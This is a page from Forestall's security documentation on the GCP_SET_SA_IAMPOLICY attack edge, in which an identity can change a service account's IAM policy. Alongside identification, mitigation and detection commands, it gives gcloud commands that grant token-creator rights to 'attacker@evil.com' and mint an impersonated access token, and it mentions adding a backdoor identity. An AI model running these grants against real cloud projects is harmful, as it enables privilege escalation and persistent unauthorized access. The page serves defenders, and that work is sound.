> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_set_sa_iampolicy.md).

# GCP\_SET\_SA\_IAMPOLICY

## Summary

|                            |                                                                           |
| -------------------------- | ------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_SET\_SA\_IAMPOLICY                                                   |
| **GCP Alias**              | IAM & Hierarchy Control                                                   |
| **Affected Object Types**  | Service Accounts                                                          |
| **Exploitation Certainty** | Certain                                                                   |
| **Granting Roles**         | `roles/owner`, `roles/iam.securityAdmin`, `roles/iam.serviceAccountAdmin` |

## Description

`GCP_SET_SA_IAMPOLICY` indicates that an identity can call `setIamPolicy` on a specific GCP **Service Account** resource. Unlike setting IAM policy at the project or org level, this edge targets a single service account's allow policy — but the impact is equally severe when the target SA holds elevated privileges.

The primary exploitation path is granting `roles/iam.serviceAccountTokenCreator` on the target SA to a controlled identity. This allows the attacker to generate short-lived OAuth2 access tokens and ID tokens for the target SA from anywhere, without needing to be running on GCP infrastructure.

**Key abuse scenarios:**

* Grant `roles/iam.serviceAccountTokenCreator` on a high-privilege SA → directly generate tokens ([GCP\_IMPERSONATE\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_impersonate_sa)).
* Grant `roles/iam.serviceAccountUser` → attach the SA to a VM you spin up ([GCP\_ACT\_AS\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_act_as_sa)).
* Add a backdoor identity as a Service Account Admin for persistence.

## Identification

### gcloud CLI

```bash
# List IAM policy on a specific service account
PROJECT_ID="my-project"
SA_EMAIL="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud iam service-accounts get-iam-policy $SA_EMAIL --format=json | \
  jq '.bindings[] | {role: .role, members: .members}'
```

```bash
# Find all service accounts in a project and their IAM policies
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null | \
    jq '.bindings[]? | {role: .role, members: .members}'
done
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Service Accounts**.
2. Click on the target service account.
3. Select the **Principals with access** tab to view who has access to this SA.

## Exploitation

### gcloud CLI

```bash
# Grant token creator on a privileged SA to escalate
SA_EMAIL="high-priv@target-project.iam.gserviceaccount.com"
gcloud iam service-accounts add-iam-policy-binding $SA_EMAIL \
  --member="user:attacker@evil.com" \
  --role="roles/iam.serviceAccountTokenCreator"

# Now generate a token for the high-privilege SA
gcloud auth print-access-token --impersonate-service-account=$SA_EMAIL
```

**Compound path:** `GCP_SET_SA_IAMPOLICY` → grant `roles/iam.serviceAccountTokenCreator` → [GCP\_IMPERSONATE\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_impersonate_sa) → call any GCP API as the target SA.

## Mitigation

1. **Restrict `roles/iam.serviceAccountAdmin`** — this role includes `setIamPolicy` on service accounts; assign only to privileged automation.
2. **Audit SA-level IAM policies** for unexpected members:

   ```bash
   for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
     POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null)
     echo "$POLICY" | jq --arg sa "$SA" '. + {sa: $sa} | select(.bindings | length > 0)'
   done
   ```
3. **Use Workload Identity Federation** instead of SA keys to reduce the need for broad SA IAM grants.
4. **Limit service account creation** with `constraints/iam.disableServiceAccountCreation` where applicable.

## Detection

| Log Type       | Method         | Key Fields                                                                     |
| -------------- | -------------- | ------------------------------------------------------------------------------ |
| Admin Activity | `SetIamPolicy` | `resource.type=service_account`, `methodName=google.iam.admin.v1.SetIamPolicy` |

```bash
gcloud logging read \
  'resource.type="service_account" AND protoPayload.methodName="google.iam.admin.v1.SetIamPolicy"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.email_id)"
```

Alert on:

* `SetIamPolicy` on service accounts by non-automation identities.
* New `roles/iam.serviceAccountTokenCreator` or `roles/iam.serviceAccountUser` bindings on privileged SAs.

## References

* <https://cloud.google.com/iam/docs/service-accounts#service\\_account\\_permissions>
* <https://cloud.google.com/iam/docs/impersonating-service-accounts>
